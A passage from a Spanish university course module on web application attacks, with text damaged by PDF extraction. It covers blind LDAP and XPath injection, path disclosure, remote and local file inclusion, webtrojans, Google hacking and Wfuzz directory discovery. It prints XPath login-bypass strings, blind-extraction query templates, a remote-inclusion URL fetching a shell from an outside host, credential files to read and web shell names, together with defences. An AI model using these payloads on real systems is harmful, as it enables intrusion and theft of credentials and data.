En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

